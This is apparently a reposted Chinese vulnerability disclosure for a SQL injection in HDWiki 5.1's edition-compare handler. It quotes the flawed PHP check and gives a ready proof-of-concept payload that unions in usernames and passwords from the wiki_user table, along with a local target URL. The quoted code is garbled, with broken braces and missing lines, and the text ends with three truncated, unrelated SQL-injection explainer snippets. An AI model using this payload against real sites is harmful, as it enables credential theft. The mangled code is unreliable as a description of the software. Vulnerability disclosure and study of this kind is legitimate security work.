hdwiki5.1 sql注入漏洞
author:phithon
/control/edition.php 119行
function docompare()
}if(!empty($this->setting[''check_visitrate'']))
if ($this->get[4] == ''box'')
$did = $this->get[2];
$eid = $this->get[3];
$edition = array();
$editions=$_env[''doc'']->get_edition_list($did,''`time`,`authorid`,`author`,`words`,`images`,`content`'', $eid);
$this->view->assign(''edition'',$editions);
$this->view->display(''comparebox'');
exit;
}if(@!is_numeric($this->post[''eid''][0])||@!is_numeric($this->post[''eid''][1]))
$edition=$_env[''doc'']->get_edition($this->post[''eid'']);
if($edition[0][''did'']!=$edition[1][''did''])
注意這句
if(@!is_numeric($this->post[''eid''][0])||@!is_numeric($this->post[''eid''][1]))
判斷$this->post[『eid』][0]和$this->post[『eid』][1]如果有乙個不是數字,則報錯。
之後就將$this->post[『eid』]傳入get_edition函式,進去看看:
function get_edition($eid)
}return $edition;
}else
$editionlist=$edition;
}return $editionlist;}}
注意這兩句:
eid[0]=2&eid[1]=19&eid[2]=-3) union select 1,2,35,4,5,6,7,8,9,10,user(),username,password,14,15,16,17,18,19 from wiki_user%23
$eid=implode(",",$eid);
$query=$this->db->query(" select * from ".db_tablepre."edition where eid in ($eid)");
這裡直接將$eid解開後放進sql語句中。所以你之前判斷[0]和[1]是否是數字肯定不夠啊,[2]以後的元素都沒有做判斷,造成注入。
本地測試:
向http://localhost/hdwiki/index.php?edition-compare-1傳送資料
(其中的數值需要根據實際情況調整,否則會顯示引數錯誤,具體怎麼調整看**,預設安裝是這個poc)
SQL注入漏洞
sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...
SQL注入漏洞
sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...
sql注入漏洞
什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...